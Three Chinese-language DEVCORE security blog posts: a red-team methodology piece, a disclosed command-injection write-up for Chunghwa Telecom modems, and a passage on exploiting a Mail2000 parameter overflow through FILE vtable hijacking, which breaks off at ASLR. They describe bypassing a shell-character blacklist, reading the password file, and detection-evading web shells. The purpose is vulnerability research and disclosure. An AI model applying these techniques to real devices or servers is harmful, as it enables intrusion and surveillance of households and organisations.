紅隊演練目標通常是一個情境,例如:駭客有沒有辦法取得民眾個資甚至是信用卡卡號?在演練過程中紅隊會無所不用其極的嘗試驗證企業在乎的情境有沒有可能發生。以剛剛的例子來說,我們會想辦法找到一條路徑取得存放這些訊息的資料庫,去驗證有沒有辦法取得個資及卡號。一般來說,卡號部分都會經過加密,因此在拿下資料庫後我們也會嘗試看看有沒有辦法還原這些卡號。有時候除了找到還原的方法,我們甚至會在過程中發現其他路徑可取得卡號,可能是工程師的 debug 資訊會記錄卡號,或是備份檔在 NAS 裡面有完整卡號,這些可能是連資安負責人都不知道的資訊,也是企業評估風險的盲點。

到這邊,紅隊演練的效益就很明顯了,紅隊能協助企業全盤評估潛在的重大風險,不再像過去只是單一面向的測試特定網站。除了找到弱點,紅隊更在乎幫企業驗證入侵的可行性,方便企業評估風險以及擬定防禦策略。最後,紅隊往往也能夠在演練過程當中找出企業風險評估忽略的地方,例如剛剛例子提到的備份 NAS,就可能是沒有列入核心系統但又相當重要的伺服器,這一塊也是 DEVCORE 這幾年來確實幫助到客戶的地方。

DEVCORE 紅隊的編制

基本上,DEVCORE 的紅隊成員都是可以獨當一面的,在執行一般專案時成員間並沒有顯著差異。但在演練範圍比較大的狀況下,就會開始有明顯的分工作業,各組也會專精技能增加團隊效率。目前我們的編制共分為五組:

簡單介紹職責如下:

  • Intelligence (偵查),負責情報偵查,他們會去收集跟目標有關的所有資訊,包括 IP 網段、網站個別使用的技術,甚至是洩漏的帳號密碼。
  • Special Force (特攻),有比較強大的攻擊能力,主要負責打破現況,例如攻下第一個據點、拿下另一個網段、或是主機的提權。
  • Regular Army (常規),負責拿下據點後掃蕩整個戰場,嘗試橫向移動,會盡量多建立幾個據點讓特攻組有更多資源朝任務目標邁進。
  • Suppert (支援),重要的後勤工作,維持據點的可用性,同時也要觀察記錄整個戰況,最清楚全局戰況。
  • Research (研究),平時研究各種在紅隊中會用到的武器,演練時期碰到具戰略價值的系統,會投入資源開採 0-day。

DEVCORE 紅隊的進化

所謂的進化,就是碰到了問題,想辦法強化並且解決,那我們遇到了哪些問題呢?

如何找到一個突破點?

這是大家最常碰到的問題,萬事起頭難,怎麼樣找到第一個突破點?這個問題在紅隊演練當中難度會更高,因為有規模的企業早已投入資源在資安檢測和防護上,我們要怎麼樣從層層防禦當中找到弱點?要能找到別人找不到的弱點,測試思維和方法一定要跟別人不一樣。於是,我們投入資源在偵查、特攻、研究組:偵查部分研究了不同的偵查方法和來源,並且開發自己的工具讓偵查更有效率;我們的特攻組也不斷強化自己的攻擊能力;最重要的,我們讓研究人員開始針對我們常碰到的目標進行研究,開發紅隊會用到的武器或技巧。

這邊特別想要分享研究組的成果,因為我們會去開採一些基礎設施的 0-day,在負責任的揭露後,會將 1-day 用於演練中,這種模式對國外紅隊來說算是相當少見。為了能幫助到紅隊,研究組平時的研究方向,通常都是找企業外網可以碰到的通用服務,例如郵件伺服器、Jenkins、SSL VPN。我們找的弱點都是以不用認證、可取得伺服器控制權為優先,目前已公開的有:EximJenkinsPalo Alto GlobalProtectFortiGatePulse Secure。這些成果在演練當中都有非常非常高的戰略價值,甚至可以說掌控了這些伺服器幾乎就能間接控制企業的大半。

而這些研究成果,也意外的被國外所注意到:

  • PortSwigger 連續兩年年度十大網站攻擊技術評選冠軍 (2017, 2018)
  • 連續三年 DEFCON & Black Hat USA 發表 (2017, 2018, 2019)
  • 台灣第一個拿到 PWNIE AWARD 獎項:Pwnie for Best Server-Side Bug (年度最佳伺服器漏洞) (2018 入圍, 2019 得獎)

目標上萬台,如何發揮紅「隊」效益?

前面靠了偵查、特攻、研究組的成果取得了進入點。下一個問題,是在我們過去的經驗中,有過多次演練的範圍是上萬台電腦,我們要怎樣做才能發揮團隊作戰的效益呢?會有這個問題是因為數量級,如果範圍只有十個網站很容易找目標,但是當網站變多的時候,就很難標註討論我們要攻擊的目標。或是當大家要同步進度的時候,每個人的進度都很多,很難有個地方分享伺服器資訊,讓其他人能接續任務。

過去我們使用類似 Trello 的系統記錄每台伺服器的狀況,在範圍較小的時候很方便好用,但是當資料量一大就會顯得很難操作。

因此,我們自行開發了系統去解決相關問題。分享一些我們設計系統的必要原則供大家參考:

  • 伺服器列表可標籤、排序、全文搜尋,火力集中的伺服器必須要自動在顯眼處,省去額外搜尋時間。
  • 要可自動建立主機關係圖,方便團隊討論戰況。
  • 儲存結構化資訊而非過去的純字串,例如這台機器開的服務資訊、拿 shell 的方式、已滲透的帳號密碼。方便快速釐清目前進度以及事後分析。
  • 建立 shell 主控台,方便成員一鍵取得 shell 操作。

另外還有一個問題,紅隊成員這麼多,戰場又分散,如果想要把我們做過的測試過程記錄下來,不是會很複雜嗎?所以我們另外寫了 plugin 記錄 web 的攻擊流量、以及記錄我們在 shell 下過的指令和伺服器回傳的結果,這些記錄甚至比客戶的 access_log 和 bash_history 還詳細。此外,針對每個目標伺服器,我們也會特別記錄在上面所做過的重要行為,例如:改了什麼設定,新增或刪除了什麼檔案,方便我們還有客戶追蹤。要做這樣的客製化記錄其實是很繁瑣的,對那些習慣於自動化解決事情的駭客更是,但我們就是堅持做好這樣的紀錄,即使客戶沒有要求,我們還是會詳實記錄每個步驟,以備不時之需。

企業有防禦設備或機制?

解決了突破點和多人合作的問題,接下來我們面臨到第三個問題,企業有防護措施!在研討會中我舉了幾個較客製的真實防禦案例,說明我們除了常見的防禦設備外也擁有很多跟防禦機制交手的經驗。我們會研究每種防禦的特性加以繞過或利用,甚至會寫工具去躲避偵測,最近比較經典的是團隊做了在 Windows 伺服器上的 Web shell,它可以做到 WAF 抓不到,防毒軟體抓不到,也不會有 eventlog 記錄,利用這個工具可以無聲無息收集伺服器上我們需要的資料。當然,我們不是無敵的,一些較底層的偵測機制還是會無法繞過。這邊我直接講我們進化到目前的準則:在面對伺服器防禦機制,我們能隱匿的,一定做到絕對的隱匿,無法躲的,就把流程最佳化,縮短做事情的時間,例如控制在五分鐘內提權拿到關鍵資料,就算被別人抓到也沒關係,因為該拿的資料也拿到了。

紅隊成員應具備的特質

要能夠在紅隊演練中有突出成果,我覺得成員特質是滿關鍵的一個點。以下整理了幾個我從我們紅隊夥伴觀察到的特質跟大家分享,如果將來有打算從事紅隊工作,或是企業已經打算開始成立內部紅隊,這些特質可能可以作為一些參考。

想像力

第一個是想像力,為什麼會提這個特質,因為現在資安意識慢慢強化,要靠一招打天下是不太有機會的,尤其是紅隊演練這麼有變化的工作。要有成果一定要巧妙的組合利用或是繞過才有機會。

直接舉個例子,我們在公布 Pulse Secure VPN 的研究細節後,有人在 twitter 上表示那個關鍵用來 RCE 的 argument injection 點之前他有找到,只是無法利用所以官方也沒有修。確實我們找到的地方相同,不過我們靠想像力找到了一個可利用參數並搭配 Perl 的特性串出了 RCE。
另一個例子是 Jenkins 研究裡面的一環,我們在繞過身分認證之後發現有一個功能是在檢查使用者輸入的程式語法正不正確。伺服器怎樣去判斷語法正不正確?最簡單的方法就是直接去編譯看看,可以編譯成功就代表語法正確。所以我們研究了可以在『編譯階段』命令執行的方法,讓伺服器在嘗試判斷語法是否正確的同時執行我們的指令。這個手法過去沒有人提過,算是運用想像力的一個經典案例。

關於想像力,其實還有一個隱藏的前提:基礎功要夠。我一直認為想像力是知識的排列組合,例如剛剛的兩個例子,如果不知道 Perl 語法特性和 Meta-Programming 的知識,再怎麼天馬行空都是不可能成功 RCE 的。有基礎功再加上勇於聯想和嘗試,絕對是一個紅隊大將的必備特質。至於基礎功需要到什麼程度,對我們來說,講到一個漏洞,心中就會同時跳出一個樹狀圖:出現成因是什麼?相關的案例、漏洞、繞過方式都會啵啵啵跳出來,能做到這樣我想就已經是有所小成了。

追新技術

會追新技術這件事情,似乎是資安圈的標配,我們的世界不只有 OWASP TOP 10。更現實的說法是,如果只靠這麼一點知識,在紅隊演練能發揮的效果其實並不大。分享一下我看到成員們的樣子,對於他們來說,看新技術是每天的習慣,如果有資安研討會投影片釋出,會追。新技術裡有興趣的,會動手玩,甚至寫成工具,我們很多內部工具都是這樣默默補強的。還有一點,看新技術最終目的就是要活用,拿新技術解決舊問題,往往有機會發現一些突破方式。例如我們在今年八月 BlackHat 研討會看到了 HTTP Desync的攻擊方式,回國之後馬上就把這個知識用在當時的專案上,讓我們多了一些攻擊面向!(這個手法挺有趣的,在我們污染伺服器後,隨機一個人瀏覽客戶網頁就會執行我們的 JavaScript,不需要什麼特殊條件,有興趣可以研究一下:p )

相信…以及堅持

最後一點,我想分享的是:在研究或者測試的過程當中,有時候會花費很多時間卻沒有成果,但是如果你評估是有機會,那就相信自己,花時間做下去吧!
我們有一個花費一個月的例子,是之前破解 IDA Pro 偽隨機數的研究,這個事件意外在 binary 圈很有名,甚至還有人寫成事件懶人包。這個研究是在探討如果我們沒有安裝密碼,有機會安裝 IDA PRO 嗎?結果最後我們想辦法逆推出了 IDA 密碼產生器的算法,知道偽隨機數使用了哪些字元,和它的正確排序。這件事情的難度已經不只在技術上,而在於要猜出偽隨機數使用的字元集順序,還要同時猜出對方使用的演算法(至少有88種)。而且我們每驗證一種排列組合,就會花半天時間和 100GB 的空間,累積成本滿高的。但我們根據經驗相信這是有機會成功的,並且投注資源堅持下去,最後有了很不錯的成果。

這裡不是在鼓勵一意孤行,而是一種心理素質:是在面臨卡關的時候,有足夠的判斷力,方向錯誤能果斷放棄,如果方向正確要有堅持下去的勇氣。

資安防護趨勢與紅隊的下一步

文章的最後一部分要談的是紅隊演練的未來,也是這篇文章的重點,未來,我們希望可以解決什麼問題?

做為紅隊演練的領導廠商,從 2017 年演練到現在我們進入台灣企業內網的成功率是 100%。我們在超過六成的演練案中拿到 AD 管理權限,這還不含那些不是用 AD 來管理的企業。我們發現進入內網後,通常不會有什麼阻礙,就好像變成內部員工,打了聲招呼就可以進機房。想要提醒大家的是:對頂尖攻擊團隊而言,進入企業內網的難度並不高。如果碰上頂尖的駭客,或是一個 0day,企業準備好了嗎?這就是現階段我們所發現的問題!

在說到抵禦攻擊通常會有三個面向,分別是「預防」、「偵測」和「回應」。一般而言企業在「預防」這部份做的比較完善,對於已知的弱點都有比較高的掌握度。今天普遍的問題在「偵測」和「回應」上,企業能不能發現有人在對你進行攻擊?或是知道被攻擊後有沒有能力即時回應並且根絕源頭?這兩件事情做得相對不好的原因並不是企業沒有投入資源在上面,而是對於企業來說太難驗證,很難有個標準去確定目前的機制有沒有效或是買了設備有沒有作用,就算有藍隊通常也沒有建立完善的應對 SOP,畢竟駭客入侵不會是天天發生的事情。

所以,我們希望企業能從紅隊演練中,訓練對攻擊事件的偵測和反應能力。或是說,紅隊演練的本質就是在真實的演練,透過攻防幫助企業了解自己的弱項。過去台灣的紅隊服務都會強調在找出整個企業的弱點,找出漏洞固然重要,但碰到像我們一樣很常找到 0-day 的組織,有偵測和回應能力才是最後能救你一命的硬技能。換個角度來看,目前世界上最完整的攻擊戰略和技術手法列表是 MITRE ATT&CK Framework,一個對企業有傷害的攻擊行動通常會是很多個攻擊手法所組成的攻擊鏈,而在這個 Framework 中,找到起始弱點這件事情僅佔了整個攻擊鏈不到一成,企業如果能夠投注在其他九成手法的偵測能力上並阻斷其中任一環節,就有機會讓整個攻擊行動失敗而保護到資產。

要說的是,我們紅隊演練除了找出企業漏洞能力頂尖之外,也累積了很豐富的內網滲透經驗及技巧,我們很樂意透過演練協助企業加強真實的偵測和回應能力。漸漸的,未來紅隊會慢慢著重在和藍隊的攻防演練。會強調擬定戰略,讓企業了解自己對哪些攻擊的防禦能力比較弱,進而去改善。未來的紅隊也更需要強調與防禦機制交手的經驗,了解防禦的極限,才有辦法找到設備設定不全或是涵蓋率不足的盲點。

最後我們也有些規劃建議給對資安防禦比較成熟的企業如下,逐步落實可以將資安體質提昇一個層次。(至少從我們的經驗來看,有這些概念的企業都是特別難攻擊達成目標的)

  • 如果外網安全已投資多年,開始思考「如果駭客已經在內網」的防禦策略
  • 盤點出最不可以被洩漏的重要資料,從這些地方開始奉行 Zero Trust概念
  • 企業內部需要有專職資安人員編制(藍隊)
  • 透過與有經驗的紅隊合作,全盤檢視防禦盲點

後記

研討會內容到這邊就結束了。寫在最後的最後,是充滿著感謝。其實無論滲透測試還是紅隊演練,在一開始都不是人人可以接受的,而測試的價值也不是我們說了算。一路走來,漸漸漸漸感受到開始有人相信我們,從早期比較多測試時與工程師和網管人員的對立,到近期越來越多 open mind、就是想找出問題的客戶,是滿大的對比。非常感謝他們的信任,也因為這樣的互信,我們得以節省時間完成更棒的產出。滿樂見台灣資訊產業是這樣正向面對問題,漏洞存在就是存在,不會因為視而不見而真的不見,意識到有問題解決了就好。所以我在演講最後留下這樣一句:『紅隊演練的精髓不是在告訴你有多脆弱,在於真正壞人闖入時你可以獨當一面擋下』,希望越來越多人能正面對待問題,同時也傳遞我們想要做到的價值。

2019 DEVCORE CONF,謝謝過去合作的朋友們參與讓 DEVCORE 紅隊得以進化,希望下一步也能有你,我們明年見 :)

你用它上網,我用它進你內網! 中華電信數據機遠端代碼執行漏洞

$
0
0

大家好,我是 Orange! 這次的文章,是我在 DEVCORE Conference 2019上所分享的議題,講述如何從中華電信的一個設定疏失,到串出可以掌控數十萬、甚至數百萬台的家用數據機漏洞!


前言

身為 DEVCORE 的研究團隊,我們的工作就是研究最新的攻擊趨勢、挖掘最新的弱點、找出可以影響整個世界的漏洞,回報給廠商避免這些漏洞流至地下黑市被黑帽駭客甚至國家級駭客組織利用,讓這個世界變得更加安全!

把「漏洞研究」當成工作,一直以來是許多資訊安全技術狂熱份子的夢想,但大部分的人只看到發表漏洞、或站上研討會時的光鮮亮麗,沒注意到背後所下的苦工,事實上,「漏洞研究」往往是一個非常樸實無華,且枯燥的過程。

漏洞挖掘並不像 Capture the Flag (CTF),一定存在著漏洞以及一個正確的解法等著你去解出,在題目的限定範圍下,只要根據現有的條件、線索去推敲出題者的意圖,十之八九可以找出問題點。 雖然還是有那種清新、優質、難到靠北的比賽例如 HITCON CTF或是 Plaid CTF,不過 「找出漏洞」 與 「如何利用漏洞」在本質上已經是兩件不同的事情了!

CTF 很適合有一定程度的人精進自己的能力,但缺點也是如果經常在限制住的小框框內,思路及眼界容易被侷限住,真實世界的攻防往往更複雜、維度也更大! 要在一個成熟、已使用多年,且全世界資安人員都在關注的產品上挖掘出新弱點,可想而知絕對不是簡單的事! 一場 CTF 競賽頂多也就 48 小時,但在無法知道目標是否有漏洞的前提下,你能堅持多久?

在我們上一個研究中,發現了三個知名 SSL VPN 廠商中不用認證的遠端代碼執行漏洞,雖然成果豐碩,但也是花了整個研究組半年的時間(加上後續處理甚至可到一年),甚至在前兩個月完全是零產出、找不到漏洞下持續完成的。 所以對於一個好的漏洞研究人員,除了綜合能力、見識多寡以及能否深度挖掘外,還需要具備能夠獨立思考,以及興趣濃厚到耐得住寂寞等等特質,才有辦法在高難度的挑戰中殺出一條血路!

漏洞研究往往不是一間公司賺錢的項目,卻又是無法不投資的部門,有多少公司能夠允許員工半年、甚至一年去做一件不一定有產出的研究? 更何況是將研究成果無條件的回報廠商只是為了讓世界更加安全? 這也就是我們 DEVCORE 不論在滲透測試或是紅隊演練上比別人來的優秀的緣故,除了平日軍火庫的累積外,當遇到漏洞時,也會想盡辦法將這個漏洞的危害最大化,利用駭客思維、透過各種不同組合利用,將一個低風險漏洞利用到極致,這也才符合真實世界駭客對你的攻擊方式!


影響範圍

故事回到今年初的某天,我們 DEVCORE 的情資中心監控到全台灣有大量的網路地址開著 3097 連接埠,而且有趣的是,這些地址並不是什麼伺服器的地址,而是普通的家用電腦。 一般來說,家用電腦透過數據機連接上網際網路,對外絕不會開放任何服務,就算是數據機的 SSH 及 HTTP 管理介面,也只有內部網路才能訪問到,因此我們懷疑這與 ISP 的配置失誤有關! 我們也成功的在這個連接埠上挖掘出一個不用認證的遠端代碼執行漏洞! 打個比喻,就是駭客已經睡在你家客廳沙發的感覺!

透過這個漏洞我們可以完成:

  1. 竊聽網路流量,竊取網路身分、PTT 密碼,甚至你的信用卡資料
  2. 更新劫持、水坑式攻擊、內網中繼攻擊去控制你的電腦甚至個人手機
  3. 結合紅隊演練去繞過各種開發者的白名單政策
  4. 更多更多…

而相關的 CVE 漏洞編號為:


相較於以往對家用數據機的攻擊,這次的影響是更嚴重的! 以往就算漏洞再嚴重,只要家用數據機對外不開放任何連接埠,攻擊者也無法利用,但這次的漏洞包含中華電信的配置失誤,導致你家的數據機在網路上裸奔,攻擊者僅僅「只要知道你的 IP 便可不需任何條件,直接進入你家內網」,而且,由於沒有數據機的控制權,所以這個攻擊一般用戶是無法防禦及修補的!


經過全網 IPv4 的掃瞄,全台灣約有 25 萬台的數據機存在此問題,「代表至少 25 萬個家庭受影響」,不過這個結果只在 「掃描當下有連上網路的數據機才被納入統計」,所以實際受害用戶一定大於這個數字!

而透過網路地址的反查,有高達九成的受害用戶是中華電信的動態 IP,而剩下的一成則包含固定制 IP 及其他電信公司,至於為何會有其他電信公司呢? 我們的理解是中華電信作為台灣最大電信商,所持有的資源以及硬體設施也是其他電信商遠遠不及的,因此在一些比較偏僻的地段可能其他電信商到使用者的最後一哩路也還是中華電信的設備! 由於我們不是廠商,無法得知完整受影響的數據機型號列表,但筆者也是受害者 ╮(╯_╰)╭,所以可以確定最多人使用的中華電信光世代 GPON 數據機也在受影響範圍內!


(圖片擷自網路)


漏洞挖掘

只是一個配置失誤並不能說是什麼大問題,所以接下來我們希望能在這個服務上挖掘出更嚴重的漏洞! 軟體漏洞的挖掘,根據原始碼、執行檔以及 API 文件的有無可依序分為:

  • 黑箱測試
  • 灰箱測試
  • 白箱測試

在什麼都沒有的的狀況下,只能依靠經驗以及對系統的了解去猜測每個指令背後的實作、並找出漏洞。

黑箱測試

3097 連接埠提供了許多跟電信網路相關的指令,推測是中華電信給工程師遠端對數據機進行各種網路設定的除錯介面!


其中,可以透過 HELP指令列出所有功能,其中我們發現了一個指令叫做 MISC,看名字感覺就是把一堆不知道怎麼分類的指令歸類在這,而其中一個叫做 SCRIPT吸引了我們! 它的參數為一個檔案名稱,執行後像是會把檔案當成 Shell Script 來執行,但在無法在遠端機器留下一個可控檔案的前提下,也無法透過這個指令取得任意代碼執行。 不過有趣的是,MISC SCRIPT這個指令會將 STDERR給顯示出來,因此可以透過這個特性去完成任意檔案讀取!


從黑箱進化成灰箱

在漏洞的利用上,無論是記憶體的利用、或是網路的滲透,不外乎都圍繞著對目標的讀(Read)、 寫(Write) 以及代碼執行(eXecute) 三個權限的取得,現在我們取得了第一個讀的權限,接下來呢?

除錯介面貌似跑在高權限使用者下,所以可以直接透過讀取系統密碼檔得到系統使用者管理登入的密碼雜湊!


透過對 root使用者密碼雜湊的破解,我們成功的登入數據機 SSH 將「黑箱」轉化成「灰箱」! 雖然現在可以成功控制自己的數據機,但一般家用數據機對外是不會開放 SSH 服務的,為了達到可以「遠端」控制別人的數據機,我們還是得想辦法從 3097 這個服務拿到代碼的執行權限。


整個中華電信的數據機是一個跑在 MIPS 處理器架構上的嵌入式 Linux 系統,而 3097 服務則是由一個在 /usr/bin/omcimain的二進位檔案來處理,整個檔案大小有將近 5MB,對逆向工程來說並不是一個小數目,但與黑箱測試相較之下,至少有了東西可以分析了真棒!

$ uname -a
Linux I-040GW.cht.com.tw 2.6.30.9-5VT #1 PREEMPT Wed Jul 31 15:40:34 CST 2019
[luna SDK V1.8.0] rlx GNU/Linux

$ netstat -anp | grep 3097
tcp        0      0 127.0.0.1:3097          0.0.0.0:*               LISTEN

$ ls -lh /usr/bin/omcimain
-rwxr-xr-x    1 root   root        4.6M Aug  1 13:40 /usr/bin/omcimain

$ file /usr/bin/omcimain
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked


從灰箱進化成白箱

現在,我們可以透過逆向工程了解每個指令背後的原理及實作了! 不過首先,逆向工程是一個痛苦且煩悶的經過,一個小小的程式可能就包含幾萬、甚至十幾萬行的組合語言代碼,因此這時挖洞的策略就變得很重要! 從功能面來看,感覺會存在命令注入相關的漏洞,因此先以功能實作為出發點開始挖掘!

整個 3097 服務的處理核心其實就是一個多層的 IF-ELSE 選項,每一個小框框對應的一個功能的實作,例如 cli_config_cmdline就是對應 CONFIG這條指令,因此我們搭配著 HELP指令的提示一一往每個功能實作挖掘!


研究了一段時間,並沒有發現到什麼嚴重漏洞 :( 不過我們注意到,當所有指命都匹配失敗時,會進入到了一個 with_fallback的函數,這個函數的主要目的是把匹配失敗的指令接到 /usr/bin/diag後繼續執行!


with_fallback大致邏輯如下,由於當時 Ghidra 尚未出現,所以這份原始碼是從閱讀 MIPS 組合語言慢慢還原回來的! 其中 s1為輸入的指令,如果指令不在定義好的列表內以及指令中出現問號的話,就與 /usr/bin/diag拼湊起來丟入 system執行! 理所當然,為了防止命令注入等相關弱點,在丟入 system前會先根據 BLACKLISTS的列表檢查是否存在有害字元。

char*input=util_trim(s1);if(input[0]=='\0'||input[0]=='#')return0;while(SUB_COMMAND_LIST[i]!=0){sub_cmd=SUB_COMMAND_LIST[i++];if(strncmp(input,sub_cmd,strlen(sub_cmd))==0)break;}if(SUB_COMMAND_LIST[i]==0&&strchr(input,'?')==0)return-10;// ...while(BLACKLISTS[i]!=0){if(strchr(input,BLACKLISTS[i])!=0){util_fdprintf(fd,"invalid char '%c' in command\n",BLACKLISTS[i]);return-1;}i++;}snprintf(file_buf,64,"/tmp/tmpfile.%d.%06ld",getpid(),random()%1000000);snprintf(cmd_buf,1024,"/usr/bin/diag %s > %s 2>/dev/null",input,file_buf);system(cmd_buf);


BLACKLISTS定義如下:

char*BLACKLISTS="|<>(){}`;";

如果是你的話,能想到如何繞過嗎?










答案很簡單,命令注入往往就是這麼的簡單且樸實無華!


這裡我們示範了如何從 PTT 知道受害者 IP 地址,到進入它數據機實現真正意義上的「指哪打哪」!



後記

故事到這邊差不多進入尾聲,整篇文章看似輕描淡寫,描述一個漏洞從發現到利用的整個經過,從結果論來說也許只是一個簡單的命令注入,但實際上中間所花的時間、走過的歪路是正在讀文章的你無法想像的,就像是在黑暗中走迷宮,在沒有走出迷宮前永遠不會知道自己正在走的這條路是不是通往目的正確道路!

挖掘出新的漏洞,並不是一件容易的事,尤其是在各式攻擊手法又已趨於成熟的今天,要想出全新的攻擊手法更是難上加難! 在漏洞研究的領域上,台灣尚未擁有足夠的能量,如果平常的挑戰已經滿足不了你,想體驗真實世界的攻防,歡迎加入與我們一起交流蕉流 :D


通報時程

  • 2019 年 07 月 28 日 - 透過 TWCERT/CC 回報中華電信
  • 2019 年 08 月 14 日 - 廠商回覆清查並修補設備中
  • 2019 年 08 月 27 日 - 廠商回覆九月初修補完畢
  • 2019 年 08 月 30 日 - 廠商回覆已完成受影響設備的韌體更新
  • 2019 年 09 月 11 日 - 廠商回覆部分用戶需派員更新, 延後公開時間
  • 2019 年 09 月 23 日 - 與 TWCERT/CC 確認可公開
  • 2019 年 09 月 25 日 - 發表至 DEVCORE Conference 2019
  • 2019 年 11 月 11 日 - 部落格文章釋出

飛鴿傳書 - 紅隊演練中的數位擄鴿

$
0
0

郵件系統作為大部分企業主要的資訊交換方式,在戰略上佔有了舉足輕重的地位。掌控了郵件伺服器不僅可以竊聽郵件的內容,甚至許多重要文件都可以在郵件系統中找到,使得駭客能夠更進一步的滲透。本篇文章將介紹研究組在 Openfind Mail2000 這套軟體上發現的記憶體漏洞,以及利用這個漏洞的攻擊手法。
此漏洞為 2018 年時發現,當時已通報 Openfind 並且迅速被修補,同時也已協助相關用戶進行更新。

Openfind Mail2000

Mail2000 是一套由台灣廠商 Openfind 所開發,簡單易用的電子郵件系統,被廣泛使用於台灣的公家機關、教育機構,如台北市教育局、中科院,以及臺灣科技大學都有使用 Mail2000 作為主要的郵件伺服器。常見的入口介面如下:

這次的漏洞,便是從這個 Web 介面,利用 Binary 的手法,攻陷整台伺服器!

伺服器架構

Mail2000 提供了 Web 介面供管理員以及使用者操作,也就是所謂的 Webmail,而此處 Openfind 使用了 CGI (Common Gateway Interface) 的技術來實作。大多數 Web 伺服器實現 CGI 的方式如圖:

首先由 httpd 接受客戶端的請求後,根據對應的 CGI 路徑,執行相對應的 CGI 檔案。而大多數的開發者會根據需求,將常見的共用 function 撰寫成 library,供 CGI 呼叫。
往底層來看,其實可以發現,雖然稱為 Web 伺服器,仍有許多元件是建構於 binary 之上的!例如 httpd,為了效能,多是由 C/C++ 所撰寫,而其它像是 library、擴充的 module、各頁面的 CGI 也常是如此。因此,binary 相關的漏洞,便是我們這次的攻擊目標!

漏洞

這個漏洞位於 Openfind 實作的 library libm2kc中,此函式庫包含了各種 CGI 通用函式,如參數解析及檔案處理等等,而這個漏洞就發生在參數解析的部分。由於參數處理是很底層且基本的功能,因此影響的範圍非常的大,就連 Openfind 的其它產品也同樣受影響!
這個漏洞的觸發條件如下:

  • 攻擊者使用 multipart 形式發送 HTTP POST 請求
  • POST 傳送的資料內容超過 200 項

multipart 是 HTTP 協定中,用來處理多項檔案傳輸時的一種格式,舉例如下:

Content-Type: multipart/form-data; boundary=AaB03x 
 


--AaB03x

Content-Disposition: form-data; name="files"; filename="file1.txt"

Content-Type: text/plain



... contents of file1.txt ...

--AaB03x--

而在 libm2kc 中,使用了陣列來儲存參數:

g_stCGIEnv.param_cnt=0;while(p=next_param()){g_stCGIEnv.param[param_cnt]=p;g_stCGIEnv.param_cnt++;}

這個陣列為全域變數 g_stCGIEnv 中的 param,在存入 param 陣列時,並沒有檢查是否已超過宣告的陣列大小,就造成了越界寫入。

需要注意的是,param 陣列所儲存的結構為指向字串位置的指標,而非字串本身

structparam{char*key;char*value;intflag;};

因此當觸發越界寫入時,寫入記憶體的值也是一個個指向字串的指標,而被指向的字串內容則是造成溢出的參數。

漏洞利用

要利用越界寫入的漏洞,就要先了解利用這個溢出可以做到什麼,發生溢出的全域變數結構如下:

00000000 CGIEnv          struc ; (sizeof=0x6990, mappedto_95)
00000000 buf             dd ?                    ; offset
00000004 length          dd ?
00000008 field_8         dd 6144 dup(?)          ; offset
00006008 param_arr       param 200 dup(?)
00006968 file_vec        dd ?                    ; offset
0000696C vec_len         dd ?
00006970 vec_cur_len     dd ?
00006974 arg_cnt         dd ?
00006978 field_6978      dd ?
0000697C errcode         dd ?
00006980 method          dd ?
00006984 is_multipart    dd ?
00006988 read_func       dd ?
0000698C field_698C      dd ?
00006990 CGIEnv          ends

溢出的陣列為其中的param_arr,因此在其之後的變數皆可能被覆寫。包括post_filesvec_lenvec_cur_lenarg_cnt… 等等。其中最吸引我注意的是file_vec這個變數,這是一個用來管理 POST 上傳檔案的 vector,大部分的 vector結構像是這樣:

使用 size記錄陣列的總長度,end記錄目前用到哪裡,這樣就可以在容量不夠的時候進行擴充。我們若利用漏洞,使溢出的指標覆蓋 vector的指標,就有可能有效的利用!藉由覆蓋這個 vector指標,我們可以達到偽造一個 POST file,及其中所有相關變數的效果,而這個 POST file結構裡面就包含了各種常見的檔案相關變數,像是路徑、檔名,和 Linux 中用來管理檔案的 FILE結構,而 FILE結構便是這次的攻擊的關鍵!

FILE Structure Exploit

這次的攻擊使用了 FILE structure exploit 的手法,是近幾年較新發現的攻擊手法,由 angelboy 在 HITCON CMT 公開[1]

FILE 結構是 Linux 中用來做檔案處理的結構,像是 STDINSTDOUTSTDERR,或者是呼叫 fopen後回傳的結構都是 FILE。而這個結構之所以能成為漏洞利用的突破口主要原因就是它所包含的 vtable指標:

struct_IO_FILE_plus{FILEfile;conststruct_IO_jump_t*vtable;};

vtable當中記錄了各種 function pointer,對應各種檔案處理相關的功能:

struct_IO_jump_t{JUMP_FIELD(size_t,__dummy);JUMP_FIELD(size_t,__dummy2);JUMP_FIELD(_IO_finish_t,__finish);/* ... */JUMP_FIELD(_IO_read_t,__read);JUMP_FIELD(_IO_write_t,__write);JUMP_FIELD(_IO_seek_t,__seek);JUMP_FIELD(_IO_close_t,__close);/* ... */};

因此如果我們可以篡改、偽造這個 vtable的話,就可以在程式做檔案處理的時候,劫持程式流程!我們可以以此訂出以下的攻擊步驟:

  1. 建立連線,呼叫 CGI
  2. 使用大量參數,覆寫 vector 指標
  3. 偽造 POST file 當中的 FILE*,指向一塊偽造的 FILE 結構
  4. 在 CGI 流程中呼叫 FILE 相關的操作
    • fread, fwrite, fclose, …
  5. 劫持程式流程

我們現在已經知道終點是呼叫一個 FILE 操作,那麼就可以開始往回找哪個 function是 CGI 常用的 FILE 操作,又有哪一些 CGI可以作為入口點,才能串出我們的攻擊鏈!我們首先對使用到 POST file 的相關函式做研究,並選定了目標 MCGI_VarClear()
MCGI_VarClear()在許多用到 FILE 的 CGI 中有被呼叫,它用於在程式結束前將 g_stCGIEnv清空,包括將動態配置的記憶體 free()掉,以及將所有 FILE 關閉,也就是呼叫 fclose(),也意味著是可以通過 vtable 被劫持的!我們可以使用這個越界寫入漏洞蓋掉 file_vec,而指向的內容就是 HTTP request 的參數,便可以偽造為 POST files!像是下面這個結構:

我們的最終目標就是將 FILE* 指向偽造的結構,藉由偽造的 vtable 劫持程式流程!這時候便出現了一個問題,我們需要將 FILE* 這個指標指向一個內容可控的位置,但是其實我們並不知道該指到哪裡去,會有這個問題是起因於 Linux 上的一個防禦機制 - ASLR。

Address Space Layout Randomization (ASLR)

ASLR 使得每次程式在執行並載入記憶體時,會隨機載入至不同的記憶體位置,我們可以嘗試使用 cat /proc/self/maps觀察每一次執行時的記憶體位置是否相同:

ASLR 在大部分的環境中都是預設開啟的,因此在撰寫 exploit 時,常遇到可以偽造指標,卻不知道該指到哪裡的窘境。
而這個機制在 CGI 的架構下會造成更大的阻礙,一般的伺服器的攻擊流程可能是這樣:

可以在一個連線當中 leak address 並用來做進一步的攻擊,但在 CGI 架構中卻是這樣:

